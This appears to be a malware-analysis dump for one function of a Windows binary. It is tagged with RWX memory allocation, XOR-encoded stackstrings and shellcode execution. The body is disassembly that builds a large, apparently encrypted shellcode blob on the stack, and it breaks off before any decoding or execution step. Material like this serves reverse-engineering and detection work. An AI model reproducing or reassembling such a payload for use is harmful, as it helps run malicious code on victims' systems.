Function at 0x1800016a8
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Encode data using xor
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0xb00]
sub rsp, 0xc00
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0xaf0], rax
mov rsi, rcx
dec edx
jne 0x180003545
mov dword [rsp + 0x50], 0xd1caf60
mov dword [rsp + 0x54], 0x1d6d036a
mov dword [rsp + 0x58], 0x723e7f08
mov dword [rsp + 0x5c], 0x9306474
mov dword [rsp + 0x60], 0xf3d71769
mov dword [rsp + 0x64], 0xdb9c6b47
mov dword [rsp + 0x68], 0xb9f11d89
mov dword [rsp + 0x6c], 0x4e7735ed
mov dword [rsp + 0x70], 0x60869240
mov dword [rsp + 0x74], 0x1472292d
mov dword [rsp + 0x78], 0xbda07549
mov dword [rsp + 0x7c], 0x176de22a
mov dword [rbp - 0x80], 0x6ce28d10
mov dword [rbp - 0x7c], 0x3be2396e
mov dword [rbp - 0x78], 0x21ca0644
mov dword [rbp - 0x74], 0x74f33e2b
mov dword [rbp - 0x70], 0x67a54442
mov dword [rbp - 0x6c], 0x1beb6135
mov dword [rbp - 0x68], 0x73d60346
mov dword [rbp - 0x64], 0x68a87b5a
mov dword [rbp - 0x60], 0xd2b70046
xor r12d, r12d
mov dword [rbp - 0x5c], 0x53635fda
mov dword [rbp - 0x58], 0x53bad2b
mov dword [rbp - 0x54], 0x6c68dc38
mov dword [rbp - 0x50], 0x323ec73f
mov dword [rbp - 0x4c], 0x2a68ac09
mov dword [rbp - 0x48], 0x4904f83a
mov dword [rbp - 0x44], 0x2b2fdd4d
mov dword [rbp - 0x40], 0x606fdc4e
mov dword [rbp - 0x3c], 0xed37904b
mov dword [rbp - 0x38], 0xc628cbd4
mov dword [rbp - 0x34], 0xfe6f9006
mov dword [rbp - 0x30], 0x891cdb3f
mov dword [rbp - 0x2c], 0xa018686d
mov dword [rbp - 0x28], 0xc21c7226
mov dword [rbp - 0x24], 0x55401a1b
mov dword [rbp - 0x20], 0x664261a8
mov dword [rbp - 0x1c], 0x2d561af9
mov dword [rbp - 0x18], 0xe3633d63
mov dword [rbp - 0x14], 0x55154533
mov dword [rbp - 0x10], 0xbb03449
mov dword [rbp - 0xc], 0x17416167
mov dword [rbp - 8], 0x69378525
mov dword [rbp - 4], 0x544f3967
mov dword [rbp], 0x39342ea5
mov dword [rbp + 4], 0xee6b2823
mov dword [rbp + 8], 0x766a59a1
mov dword [rbp + 0xc], 0x92f1d6c
mov dword [rbp + 0x10], 0x15ffb04e
mov dword [rbp + 0x14], 0x5628007b
mov dword [rbp + 0x18], 0x1e466d97
mov dword [rbp + 0x1c], 0x5a3e2472
mov dword [rbp + 0x20], 0x690577ad
mov dword [rbp + 0x24], 0x2d5c212a
mov dword [rbp + 0x28], 0x3471b9d
mov dword [rbp + 0x2c], 0x140f5602
mov dword [rbp + 0x30], 0xc0111b7
mov dword [rbp + 0x34], 0x26012721
mov dword [rbp + 0x38], 0x7e016186
mov dword [rbp + 0x3c], 0x78251007
mov dword [rbp + 0x40], 0x2b4610ec
mov dword [rbp + 0x44], 0x274c3944
mov dword [rbp + 0x48], 0x27ac6cac
mov dword [rbp + 0x4c], 0x89180402
mov dword [rbp + 0x50], 0x175ee006
mov dword [rbp + 0x54], 0x45bd6916
mov dword [rbp + 0x58], 0x5d3f54b8
mov dword [rbp + 0x5c], 0xef93007
mov dword [rbp + 0x60], 0xf41e5dcb
mov dword [rbp + 0x64], 0x2420cd64
mov dword [rbp + 0x68], 0x1a9d2c4b
mov dword [rbp + 0x6c], 0x4a2a3b8f
mov dword [rbp + 0x70], 0xa5359205
mov dword [rbp + 0x74], 0x2d024651
mov dword [rbp + 0x78], 0x51b517b4
mov dword [rbp + 0x7c], 0xb61c2d4c
mov dword [rbp + 0x80], 0x3568c10c
mov dword [rbp + 0x84], 0x10ef0301
mov dword [rbp + 0x88], 0x5d0e039b
mov dword [rbp + 0x8c], 0xca2eb66a
mov dword [rbp + 0x90], 0x1a2a3a0d
mov dword [rbp + 0x94], 0x5cba33ec
mov dword [rbp + 0x98], 0xe15b7929
mov dword [rbp + 0x9c], 0x3316ed15
mov dword [rbp + 0xa0], 0xf9390253
mov dword [rbp + 0xa4], 0x434ffb2f
mov dword [rbp + 0xa8], 0x30f40da0
mov dword [rbp + 0xac], 0x1b31a9d
mov dword [rbp + 0xb0], 0x92374817
mov dword [rbp + 0xb4], 0x50418135
mov dword [rbp + 0xb8], 0x17b43b31
mov dword [rbp + 0xbc], 0x36464b99
mov dword [rbp + 0xc0], 0xe50cb61b
mov dword [rbp + 0xc4], 0xa363a44
mov dword [rbp + 0xc8], 0xa466924e
mov dword [rbp + 0xcc], 0x54cc4509
mov dword [rbp + 0xd0], 0xf76c7662
mov dword [rbp + 0xd4], 0x28f22df6
mov dword [rbp + 0xd8], 0xe8a2b232
mov dword [rbp + 0xdc], 0x29502f30
mov dword [rbp + 0xe0], 0x8cdedd2e
mov dword [rbp + 0xe4], 0x33727e1a
mov dword [rbp + 0xe8], 0xc52e2539
mov dword [rbp + 0xec], 0x8d69577b
mov dword [rbp + 0xf0], 0x2fde2f
mov dword [rbp + 0xf4], 0x10f91d46
mov dword [rbp + 0xf8], 0xbfa786d
mov dword [rbp + 0xfc], 0xda886133
mov dword [rbp + 0x100], 0x3df90af6
mov dword [rbp + 0x104], 0xd963096d
mov dword [rbp + 0x108], 0x1d104f26
mov dword [rbp + 0x10c], 0x14f00aa
mov dword [rbp + 0x110], 0x7626fc68
mov dword [rbp + 0x114], 0x4c670aab
mov dword [rbp + 0x118], 0x39767627
mov dword [rbp + 0x11c], 0x27c8d32
mov dword [rbp + 0x120], 0x96516c70
mov dword [rbp + 0x124], 0x768bb47f
mov dword [rbp + 0x128], 0x15057fe1
mov dword [rbp + 0x12c], 0xd77bc52e
mov dword [rbp + 0x130], 0x1ba36c1f
mov dword [rbp + 0x134], 0x7d5260ea
mov dword [rbp + 0x138], 0x468d83c
mov dword [rbp + 0x13c], 0x72570ab0
mov dword [rbp + 0x140], 0x422b254f
mov dword [rbp + 0x144], 0x1d1dfc3a
mov dword [rbp + 0x148], 0xbf9d150b
mov dword [rbp + 0x14c], 0x606fde60
mov dword [rbp + 0x150], 0x34a9615b
mov dword [rbp + 0x154], 0x8e5f3383
mov dword [rbp + 0x158], 0x526fe50b
mov dword [rbp + 0x15c], 0x4df77552
mov dword [rbp + 0x160], 0xd14e110
mov dword [rbp + 0x164], 0x5e3e4342
mov dword [rbp + 0x168], 0x67e7765f
mov dword [rbp + 0x16c], 0xb7270505
mov dword [rbp + 0x170], 0x13d117ea
mov dword [rbp + 0x174], 0xa92b6347
mov dword [rbp + 0x178], 0x6635ed33
mov dword [rbp + 0x17c], 0xafe7ce5
mov dword [rbp + 0x180], 0xa80d7a57
mov dword [rbp + 0x184], 0x35b53a68
mov dword [rbp + 0x188], 0x5438196d
mov dword [rbp + 0x18c], 0xd8606b71
mov dword [rbp + 0x190], 0x684b6077
mov dword [rbp + 0x194], 0xfd23a5db
mov dword [rbp + 0x198], 0x24736a20
mov dword [rbp + 0x19c], 0x3852f3a6
mov dword [rbp + 0x1a0], 0x156d007a
mov dword [rbp + 0x1a4], 0x12eb6190
mov dword [rbp + 0x1a8], 0xb313631a
mov dword [rbp + 0x1ac], 0x61e61327
mov dword [rbp + 0x1b0], 0x5f3b6842
mov dword [rbp + 0x1b4], 0xde2b5f5f
mov dword [rbp + 0x1b8], 0x14560037
mov dword [rbp + 0x1bc], 0xbf6d818f
mov dword [rbp + 0x1c0], 0x1a436a3b
mov dword [rbp + 0x1c4], 0x7f560cc
mov dword [rbp + 0x1c8], 0xb001b141
mov dword [rbp + 0x1cc], 0x274a706f
mov dword [rbp + 0x1d0], 0x44a3d8a5
mov dword [rbp + 0x1d4], 0x35e3296b
mov dword [rbp + 0x1d8], 0x4e7f564f
mov dword [rbp + 0x1dc], 0xfb636c50
mov dword [rbp + 0x1e0], 0x415a1d2e
mov dword [rbp + 0x1e4], 0xa218f2d7
mov dword [rbp + 0x1e8], 0x30e722e
mov dword [rbp + 0x1ec], 0x7b4e7ad2
mov dword [rbp + 0x1f0], 0xa61664
mov dword [rbp + 0x1f4], 0x777e1bb7
mov dword [rbp + 0x1f8], 0xc2ede2f
mov dword [rbp + 0x1fc], 0x755411b1
mov dword [rbp + 0x200], 0x4e7b3429
mov dword [rbp + 0x204], 0x115df3b
mov dword [rbp + 0x208], 0xa58d0305
mov dword [rbp + 0x20c], 0x7067b201
mov dword [rbp + 0x210], 0x10a52352
mov dword [rbp + 0x214], 0xd65801bb
mov dword [rbp + 0x218], 0x522ff86c
mov dword [rbp + 0x21c], 0xac700b44
mov dword [rbp + 0x220], 0x7fe233ec
mov dword [rbp + 0x224], 0x6a4c6e13
mov dword [rbp + 0x228], 0x913264dd
mov dword [rbp + 0x22c], 0x5b0dd77b
mov dword [rbp + 0x230], 0xa8695c19
mov dword [rbp + 0x234], 0x981e6c32
mov dword [rbp + 0x238], 0x2116ff1f
mov dword [rbp + 0x23c], 0x92104100
mov dword [rbp + 0x240], 0x3472f135
mov dword [rbp + 0x244], 0xa570ab0
mov dword [rbp + 0x248], 0x26444a0d
mov dword [rbp + 0x24c], 0x656d35b5
mov dword [rbp + 0x250], 0x4113179
mov dword [rbp + 0x254], 0x240711ef
mov dword [rbp + 0x258], 0x14475b1e
mov dword [rbp + 0x25c], 0x6a10fe2f
mov dword [rbp + 0x260], 0xde6eab27
mov dword [rbp + 0x264], 0x65005029
mov dword [rbp + 0x268], 0x46fc63ef
mov dword [rbp + 0x26c], 0x8c5b0404
mov dword [rbp + 0x270], 0x5c198e1a
mov dword [rbp + 0x274], 0x8f005754
mov dword [rbp + 0x278], 0x3a39eb7b
mov dword [rbp + 0x27c], 0x921edb27
mov dword [rbp + 0x280], 0x3d5411b1
mov dword [rbp + 0x284], 0x25145b69
mov dword [rbp + 0x288], 0x496516b4
mov dword [rbp + 0x28c], 0x1e012777
mov dword [rbp + 0x290], 0x240f7d8e
mov dword [rbp + 0x294], 0x304b1917
mov dword [rbp + 0x298], 0xd17cc67
mov dword [rbp + 0x29c], 0x522fb650
mov dword [rbp + 0x2a0], 0x9310814
mov dword [rbp + 0x2a4], 0x1d3eb14e
mov dword [rbp + 0x2a8], 0x554d5206
mov dword [rbp + 0x2ac], 0xd627ee3f
mov dword [rbp + 0x2b0], 0x5b3c394b
mov dword [rbp + 0x2b4], 0xa15cbb2e
mov dword [rbp + 0x2b8], 0x7f1a0ca1
mov dword [rbp + 0x2bc], 0x536d5f54
mov dword [rbp + 0x2c0], 0x1da2db22
mov dword [rbp + 0x2c4], 0x6c0111fd
mov dword [rbp + 0x2c8], 0x72570ab0
mov dword [rbp + 0x2cc], 0x4228254c
mov dword [rbp + 0x2d0], 0x1d05fa3a
mov dword [rbp + 0x2d4], 0x26ef181b
mov dword [rbp + 0x2d8], 0x84101070
mov dword [rbp + 0x2dc], 0x5560a023
mov dword [rbp + 0x2e0], 0x1ae13e43
mov dword [rbp + 0x2e4], 0x896a4c67
mov dword [rbp + 0x2e8], 0x4cf171ae
mov dword [rbp + 0x2ec], 0xa418160c
mov dword [rbp + 0x2f0], 0x787bfe27
mov dword [rbp + 0x2f4], 0x77e3769f
mov dword [rbp + 0x2f8], 0xc52a0d05
mov dword [rbp + 0x2fc], 0x1b9d3f73
mov dword [rbp + 0x300], 0x246c7347
mov dword [rbp + 0x304], 0xd8385579
mov dword [rbp + 0x308], 0xf571071
mov dword [rbp + 0x30c], 0xae09868c
mov dword [rbp + 0x310], 0x39426669
mov dword [rbp + 0x314], 0x3c0f7dc4
mov dword [rbp + 0x318], 0x1de85827
mov dword [rbp + 0x31c], 0x14f00aa
mov dword [rbp + 0x320], 0x1e26fc68
mov dword [rbp + 0x324], 0x4c670aab
mov dword [rbp + 0x328], 0x39777626
mov dword [rbp + 0x32c], 0x27c8d32
mov dword [rbp + 0x330], 0x829d6870
mov dword [rbp + 0x334], 0x1a13c076
mov dword [rbp + 0x338], 0x61ac7b5a
mov dword [rbp + 0x33c], 0x6c7b3042
mov dword [rbp + 0x340], 0x17ea179a
mov dword [rbp + 0x344], 0xd83a0c47
mov dword [rbp + 0x348], 0x70e2253d
mov dword [rbp + 0x34c], 0x527e6e53
mov dword [rbp + 0x350], 0xcf6d254c
mov dword [rbp + 0x354], 0x78695526
mov dword [rbp + 0x358], 0x642780d4
mov dword [rbp + 0x35c], 0x503109f
mov dword [rbp + 0x360], 0x69719e64
mov dword [rbp + 0x364], 0x4e21fd22
mov dword [rbp + 0x368], 0x3f7b39bc
mov dword [rbp + 0x36c], 0x487a74f1
mov dword [rbp + 0x370], 0xa218f6a3
mov dword [rbp + 0x374], 0x136ba9ba
mov dword [rbp + 0x378], 0x3327b516
mov dword [rbp + 0x37c], 0xb5ae69
mov dword [rbp + 0x380], 0xaa5a7b5
mov dword [rbp + 0x384], 0xebe81b03
mov dword [rbp + 0x388], 0xaa80de32
mov dword [rbp + 0x38c], 0xc5365c70
mov dword [rbp + 0x390], 0x6acc17a5
mov dword [rbp + 0x394], 0x30bb7165
mov dword [rbp + 0x398], 0x541b39f1
mov dword [rbp + 0x39c], 0x8da32362
mov dword [rbp + 0x3a0], 0x6c6b11dc
mov dword [rbp + 0x3a4], 0x3e6a26a9
mov dword [rbp + 0x3a8], 0xe706bee7
mov dword [rbp + 0x3ac], 0xcfff33e4
mov dword [rbp + 0x3b0], 0xad64280e
mov dword [rbp + 0x3b4], 0x8e496190
mov dword [rbp + 0x3b8], 0xd9e2877
mov dword [rbp + 0x3bc], 0x50d67ab8
mov dword [rbp + 0x3c0], 0x1ab50176
mov dword [rbp + 0x3c4], 0x99601a52
mov dword [rbp + 0x3c8], 0x177428e9
mov dword [rbp + 0x3cc], 0x75265942
mov dword [rbp + 0x3d0], 0x513e46ff
mov dword [rbp + 0x3d4], 0x8c1e6083
mov dword [rbp + 0x3d8], 0xb201af00
mov dword [rbp + 0x3dc], 0x1b37abe4
mov dword [rbp + 0x3e0], 0x445e6c64
mov dword [rbp + 0x3e4], 0x74d3ad64
mov dword [rbp + 0x3e8], 0x7720766b
mov dword [rbp + 0x3ec], 0xf2245c3e
mov dword [rbp + 0x3f0], 0x7a3c97
mov dword [rbp + 0x3f4], 0x92d1f64
mov dword [rbp + 0x3f8], 0x4eddd26d
mov dword [rbp + 0x3fc], 0xa263e5f
mov dword [rbp + 0x400], 0xcc691d5c
mov dword [rbp + 0x404], 0x5f5a5ae7
mov dword [rbp + 0x408], 0x5c2ed82f
mov dword [rbp + 0x40c], 0x5ab9d03b
mov dword [rbp + 0x410], 0x4e72f8a1
mov dword [rbp + 0x414], 0x5b221a73
mov dword [rbp + 0x418], 0x8f710a19
mov dword [rbp + 0x41c], 0x117b06c8
mov dword [rbp + 0x420], 0xd0276b62
mov dword [rbp + 0x424], 0x296b419a
mov dword [rbp + 0x428], 0x76ed159c
mov dword [rbp + 0x42c], 0x2b7a286c
mov dword [rbp + 0x430], 0x93ff792f
mov dword [rbp + 0x434], 0x6228007f
mov dword [rbp + 0x438], 0x175a6edb
mov dword [rbp + 0x43c], 0x3e5f4a85
mov dword [rbp + 0x440], 0xe6a5766a
mov dword [rbp + 0x444], 0x5aa9cd69
mov dword [rbp + 0x448], 0xe46c5f5a
mov dword [rbp + 0x44c], 0xde372224
mov dword [rbp + 0x450], 0x7b925aaf
mov dword [rbp + 0x454], 0x26b3cb63
mov dword [rbp + 0x458], 0x83a66d69
mov dword [rbp + 0x45c], 0xe9c23556
mov dword [rbp + 0x460], 0xe0ad5763
mov dword [rbp + 0x464], 0x96a65179
mov dword [rbp + 0x468], 0x60af2e1e
mov dword [rbp + 0x46c], 0xa5bc752a
mov dword [rbp + 0x470], 0x4d3a6f41
mov dword [rbp + 0x474], 0xda3d36a9
mov dword [rbp + 0x478], 0x191a560
mov dword [rbp + 0x47c], 0x3eed7d2f
mov dword [rbp + 0x480], 0xbee776bd
mov dword [rbp + 0x484], 0x486625b1
mov dword [rbp + 0x488], 0xd48ba07f
mov dword [rbp + 0x48c], 0x2463c7f6
mov dword [rbp + 0x490], 0x27fd1176
mov dword [rbp + 0x494], 0x397470da
mov dword [rbp + 0x498], 0xda03df23
mov dword [rbp + 0x49c], 0xfc3a92d2
mov dword [rbp + 0x4a0], 0x776fc603
mov dword [rbp + 0x4a4], 0x1debe092
mov dword [rbp + 0x4a8], 0xa4238c20
mov dword [rbp + 0x4ac], 0x81238e66
mov dword [rbp + 0x4b0], 0xa46006bc
mov dword [rbp + 0x4b4], 0x368b4d67
mov dword [rbp + 0x4b8], 0x262d24ff
mov dword [rbp + 0x4bc], 0x19e96150
mov dword [rbp + 0x4c0], 0x3ae60a0e
mov dword [rbp + 0x4c4], 0x6421336a
mov dword [rbp + 0x4c8], 0x5f0e48de
mov dword [rbp + 0x4cc], 0x85e81e5a
mov dword [rbp + 0x4d0], 0x1d76719c
mov dword [rbp + 0x4d4], 0xb16d8dfb
mov dword [rbp + 0x4d8], 0x16663bb7
mov dword [rbp + 0x4dc], 0x3216dcc
mov dword [rbp + 0x4e0], 0x397971ca
mov dword [rbp + 0x4e4], 0xbde9152b
mov dword [rbp + 0x4e8], 0x11dc9c1b
mov dword [rbp + 0x4ec], 0xa9af616b
mov dword [rbp + 0x4f0], 0xf5030e0
mov dword [rbp + 0x4f4], 0x762b6dfd
mov dword [rbp + 0x4f8], 0x3c39b07a
mov dword [rbp + 0x4fc], 0x126c70a3
mov dword [rbp + 0x500], 0x464d0235
mov dword [rbp + 0x504], 0x302bf4d4
mov dword [rbp + 0x508], 0x7962aff7
mov dword [rbp + 0x50c], 0xb4435bb6
mov dword [rbp + 0x510], 0x5f001b8d
mov dword [rbp + 0x514], 0x82fb104a
mov dword [rbp + 0x518], 0x68c376d
mov dword [rbp + 0x51c], 0x25c9effa
mov dword [rbp + 0x520], 0xc67d4225
mov dword [rbp + 0x524], 0x104d2d0e
mov dword [rbp + 0x528], 0x262e1459
mov dword [rbp + 0x52c], 0x6ee6081d
mov dword [rbp + 0x530], 0xb6683d0c
mov dword [rbp + 0x534], 0x298cc529
mov dword [rbp + 0x538], 0x260c4e12
mov dword [rbp + 0x53c], 0x22788b3b
mov dword [rbp + 0x540], 0xaa2aa211
mov dword [rbp + 0x544], 0x7b9ec07f
mov dword [rbp + 0x548], 0x2669fd69
mov dword [rbp + 0x54c], 0x8f3d00ae
mov dword [rbp + 0x550], 0xdb515bd0
mov dword [rbp + 0x554], 0x6e333d67
mov dword [rbp + 0x558], 0x3bc42778
mov dword [rbp + 0x55c], 0x177509c0
mov dword [rbp + 0x560], 0xc16cf342
mov dword [rbp + 0x564], 0x20d59b2
mov dword [rbp + 0x568], 0x27ab26fb
mov dword [rbp + 0x56c], 0x6f6f86a3
mov dword [rbp + 0x570], 0xf52b193c
mov dword [rbp + 0x574], 0x4e6c76d8
mov dword [rbp + 0x578], 0xc2945507
mov dword [rbp + 0x57c], 0xf7a397a
mov dword [rbp + 0x580], 0x295080ac
mov dword [rbp + 0x584], 0xccb51262
mov dword [rbp + 0x588], 0x336a3eef
mov dword [rbp + 0x58c], 0xda5266d
mov dword [rbp + 0x590], 0xdb556707
mov dword [rbp + 0x594], 0x246353f0
mov dword [rbp + 0x598], 0x5a8fee37
mov dword [rbp + 0x59c], 0xf3363425
mov dword [rbp + 0x5a0], 0x25415271
mov dword [rbp + 0x5a4], 0x793acf68
mov dword [rbp + 0x5a8], 0x5b6a5fa2
mov dword [rbp + 0x5ac], 0xe2276ad5
mov dword [rbp + 0x5b0], 0xc0aa22eb
mov dword [rbp + 0x5b4], 0x8fe81728
mov dword [rbp + 0x5b8], 0x2d4c3b66
mov dword [rbp + 0x5bc], 0x1a337ea0
mov dword [rbp + 0x5c0], 0xe52b48b9
mov dword [rbp + 0x5c4], 0x5776281c
mov dword [rbp + 0x5c8], 0xbd3908d5
mov dword [rbp + 0x5cc], 0x29543093
mov dword [rbp + 0x5d0], 0x17fd6b2f
mov dword [rbp + 0x5d4], 0x126053d7
mov dword [rbp + 0x5d8], 0x7f9de6e8
mov dword [rbp + 0x5dc], 0xfa1e1416
mov dword [rbp + 0x5e0], 0x713a5d02
mov dword [rbp + 0x5e4], 0x4ea86d82
mov dword [rbp + 0x5e8], 0xfbc23871
mov dword [rbp + 0x5ec], 0x7b8a9563
mov dword [rbp + 0x5f0], 0xafe3e227
mov dword [rbp + 0x5f4], 0x4a654f7a
mov dword [rbp + 0x5f8], 0x77e03a6
mov dword [rbp + 0x5fc], 0xfb63af60
mov dword [rbp + 0x600], 0xf3b3a76
mov dword [rbp + 0x604], 0xa211e49f
mov dword [rbp + 0x608], 0x4f3f1e72
mov dword [rbp + 0x60c], 0xfe697355
mov dword [rbp + 0x610], 0x4c26ae60
mov dword [rbp + 0x614], 0x139a5c77
mov dword [rbp + 0x618], 0xaa169b58
mov dword [rbp + 0x61c], 0x10b1de3b
mov dword [rbp + 0x620], 0xce020d1c
mov dword [rbp + 0x624], 0x35ecd93f
mov dword [rbp + 0x628], 0x35724224
mov dword [rbp + 0x62c], 0x54bf8670
mov dword [rbp + 0x630], 0xd1276b62
mov dword [rbp + 0x634], 0x296b455f
mov dword [rbp + 0x638], 0xe6ecfa60
mov dword [rbp + 0x63c], 0x29434e6c
mov dword [rbp + 0x640], 0x3a3699a0
mov dword [rbp + 0x644], 0x66a549b9
mov dword [rbp + 0x648], 0x1365c25c
mov dword [rbp + 0x64c], 0xb317a53d
mov dword [rbp + 0x650], 0x1c65272a
mov dword [rbp + 0x654], 0x1aca3d5e
mov dword [rbp + 0x658], 0x2f15b161
mov dword [rbp + 0x65c], 0xaa2ba926
mov dword [rbp + 0x660], 0x1498dc34
mov dword [rbp + 0x664], 0x17734e76
mov dword [rbp + 0x668], 0xc760f2ca
mov dword [rbp + 0x66c], 0x743c05a9
mov dword [rbp + 0x670], 0x64239ca0
mov dword [rbp + 0x674], 0x96105438
mov dword [rbp + 0x678], 0x30e9a22a
mov dword [rbp + 0x67c], 0xb805bc40
mov dword [rbp + 0x680], 0x76282fbe
mov dword [rbp + 0x684], 0x5c6c2
mov dword [rbp + 0x688], 0x1aa1d128
mov dword [rbp + 0x68c], 0x88f8d7b0
mov dword [rbp + 0x690], 0x726a18c1
mov dword [rbp + 0x694], 0xc36029ac
mov dword [rbp + 0x698], 0x4fb29ef8
mov dword [rbp + 0x69c], 0x241cac46
mov dword [rbp + 0x6a0], 0x1481a276
mov dword [rbp + 0x6a4], 0x4d32f626
mov dword [rbp + 0x6a8], 0x29cc1aa5
mov dword [rbp + 0x6ac], 0x25f903a5
mov dword [rbp + 0x6b0], 0x5b6a29c1
mov dword [rbp + 0x6b4], 0x14a06772
mov dword [rbp + 0x6b8], 0xa16f552c
mov dword [rbp + 0x6bc], 0x662afa65
mov dword [rbp + 0x6c0], 0xe407c72d
mov dword [rbp + 0x6c4], 0x2875373b
mov dword [rbp + 0x6c8], 0x77a14173
mov dword [rbp + 0x6cc], 0x1fef6440
mov dword [rbp + 0x6d0], 0xed640e2a
mov dword [rbp + 0x6d4], 0x29caaf18
mov dword [rbp + 0x6d8], 0x5e2ecded
mov dword [rbp + 0x6dc], 0xd6ea5f5a
mov dword [rbp + 0x6e0], 0x55762543
mov dword [rbp + 0x6e4], 0x34b5e2fb
mov dword [rbp + 0x6e8], 0x513b4e77
mov dword [rbp + 0x6ec], 0x4e63aeb2
mov dword [rbp + 0x6f0], 0xbd46b1f7
mov dword [rbp + 0x6f4], 0x6b62549e
mov dword [rbp + 0x6f8], 0x4503e8a3
mov dword [rbp + 0x6fc], 0xb9af296b
mov dword [rbp + 0x700], 0xb1a77523
mov dword [rbp + 0x704], 0xff634416
mov dword [rbp + 0x708], 0x454a1d3e
mov dword [rbp + 0x70c], 0xa214e61b
mov dword [rbp + 0x710], 0x9bb51a54
mov dword [rbp + 0x714], 0x2314b51b
mov dword [rbp + 0x718], 0x495266d
mov dword [rbp + 0x71c], 0xd413a43d
mov dword [rbp + 0x720], 0xede61b6d
mov dword [rbp + 0x724], 0xd0380a02
mov dword [rbp + 0x728], 0xb7f4dec
mov dword [rbp + 0x72c], 0x1647e57c
mov dword [rbp + 0x730], 0x395da9f7
mov dword [rbp + 0x734], 0x1d296ac4
mov dword [rbp + 0x738], 0x5660abe9
mov dword [rbp + 0x73c], 0x2b5300f2
mov dword [rbp + 0x740], 0x89237850
mov dword [rbp + 0x744], 0x687b0aac
mov dword [rbp + 0x748], 0x718d0329
mov dword [rbp + 0x74c], 0xe0c54f3
mov dword [rbp + 0x750], 0x1ea21a15
mov dword [rbp + 0x754], 0x1e7b1fb3
mov dword [rbp + 0x758], 0x165ba0c
mov dword [rbp + 0x75c], 0x1bb72e46
mov dword [rbp + 0x760], 0xd82e7d7e
mov dword [rbp + 0x764], 0x9ffd6dac
mov dword [rbp + 0x768], 0x7df1aa31
mov dword [rbp + 0x76c], 0x1b7b88f4
mov dword [rbp + 0x770], 0x72de2c2
mov dword [rbp + 0x774], 0xb200b141
mov dword [rbp + 0x778], 0xa2e71c25
mov dword [rbp + 0x77c], 0xcf6f525c
mov dword [rbp + 0x780], 0x9a140d3f
mov dword [rbp + 0x784], 0xb3ef37ca
mov dword [rbp + 0x788], 0x1f221a42
mov dword [rbp + 0x78c], 0x79d1b5
mov dword [rbp + 0x790], 0x905d928
mov dword [rbp + 0x794], 0x31e10e9
mov dword [rbp + 0x798], 0x767ef8dc
mov dword [rbp + 0x79c], 0x88e3da12
mov dword [rbp + 0x7a0], 0xa002da31
mov dword [rbp + 0x7a4], 0xaf2bac9c
mov dword [rbp + 0x7a8], 0x5570ddcb
mov dword [rbp + 0x7ac], 0xe3fc7825
mov dword [rbp + 0x7b0], 0x25415363
mov dword [rbp + 0x7b4], 0x85cd7b61
mov dword [rbp + 0x7b8], 0x5b2b3949
mov dword [rbp + 0x7bc], 0x5528cde6
mov dword [rbp + 0x7c0], 0x9ee00023
mov dword [rbp + 0x7c4], 0x766b71d4
mov dword [rbp + 0x7c8], 0x6885cd25
mov dword [rbp + 0x7cc], 0xd0897567
mov dword [rbp + 0x7d0], 0x262800f0
mov dword [rbp + 0x7d4], 0x1e6ca211
mov dword [rbp + 0x7d8], 0x6ba0803d
mov dword [rbp + 0x7dc], 0x61a87b42
mov dword [rbp + 0x7e0], 0x6c7b7842
mov dword [rbp + 0x7e4], 0x25e81e9a
mov dword [rbp + 0x7e8], 0x9dfd6c6b
mov dword [rbp + 0x7ec], 0x385bde35
mov dword [rbp + 0x7f0], 0x1e804d3f
mov dword [rbp + 0x7f4], 0x7b69de42
mov dword [rbp + 0x7f8], 0x70150574
mov dword [rbp + 0x7fc], 0xee2a43a0
mov dword [rbp + 0x800], 0x2b2cfa
mov dword [rbp + 0x804], 0x42e69e64
mov dword [rbp + 0x808], 0x6439db9
mov dword [rbp + 0x80c], 0x3f29aec0
mov dword [rbp + 0x810], 0x332f9f1
mov dword [rbp + 0x814], 0x2b6862fb
mov dword [rbp + 0x818], 0xb4765f16
mov dword [rbp + 0x81c], 0x37527a9f
mov dword [rbp + 0x820], 0x915023
mov dword [rbp + 0x824], 0x777e0bb7
mov dword [rbp + 0x828], 0x6ca36026
mov dword [rbp + 0x82c], 0x755401fb
mov dword [rbp + 0x830], 0x6a33bd43
mov dword [rbp + 0x834], 0x61c83453
mov dword [rbp + 0x838], 0xfa3e6001
mov dword [rbp + 0x83c], 0x80d47887
mov dword [rbp + 0x840], 0x5deee82a
mov dword [rbp + 0x844], 0x21acc76a
mov dword [rbp + 0x848], 0x3aab4261
mov dword [rbp + 0x84c], 0x6b374855
mov dword [rbp + 0x850], 0x1d36fd63
mov dword [rbp + 0x854], 0x6f8ceb4a
mov dword [rbp + 0x858], 0x1342efd3
mov dword [rbp + 0x85c], 0x71ab40d
mov dword [rbp + 0x860], 0x48a43c54
mov dword [rbp + 0x864], 0x1ac1b799
mov dword [rbp + 0x868], 0xe46ca8d1
mov dword [rbp + 0x86c], 0xe9373024
mov dword [rbp + 0x870], 0x34255571
mov dword [rbp + 0x874], 0x2d480a11
mov dword [rbp + 0x878], 0x9aa62a47
mov dword [rbp + 0x87c], 0x71497172
mov dword [rbp + 0x880], 0x235e23a6
mov dword [rbp + 0x884], 0xc966a52b
mov dword [rbp + 0x888], 0x35250d07
mov dword [rbp + 0x88c], 0x41800852
mov dword [rbp + 0x890], 0x762bcbc7
mov dword [rbp + 0x894], 0x8b74b27a
mov dword [rbp + 0x898], 0x37bae7f9
mov dword [rbp + 0x89c], 0x687f97e9
mov dword [rbp + 0x8a0], 0x2e82ff8b
mov dword [rbp + 0x8a4], 0x979cce0
mov dword [rbp + 0x8a8], 0x402f9b1d
mov dword [rbp + 0x8ac], 0x2a1681e6
mov dword [rbp + 0x8b0], 0x4e358c81
mov dword [rbp + 0x8b4], 0xaef475e5
mov dword [rbp + 0x8b8], 0xe1421774
mov dword [rbp + 0x8bc], 0xa88512ce
mov dword [rbp + 0x8c0], 0x11eb220c
mov dword [rbp + 0x8c4], 0x566dae41
mov dword [rbp + 0x8c8], 0xac28afe6
mov dword [rbp + 0x8cc], 0xf34804f6
mov dword [rbp + 0x8d0], 0x28453ba5
mov dword [rbp + 0x8d4], 0xd26a34a6
mov dword [rbp + 0x8d8], 0x53fa854f
mov dword [rbp + 0x8dc], 0x22abac45
mov dword [rbp + 0x8e0], 0xbee70a36
mov dword [rbp + 0x8e4], 0xce21336a
mov dword [rbp + 0x8e8], 0xdab50c43
mov dword [rbp + 0x8ec], 0x53635e42
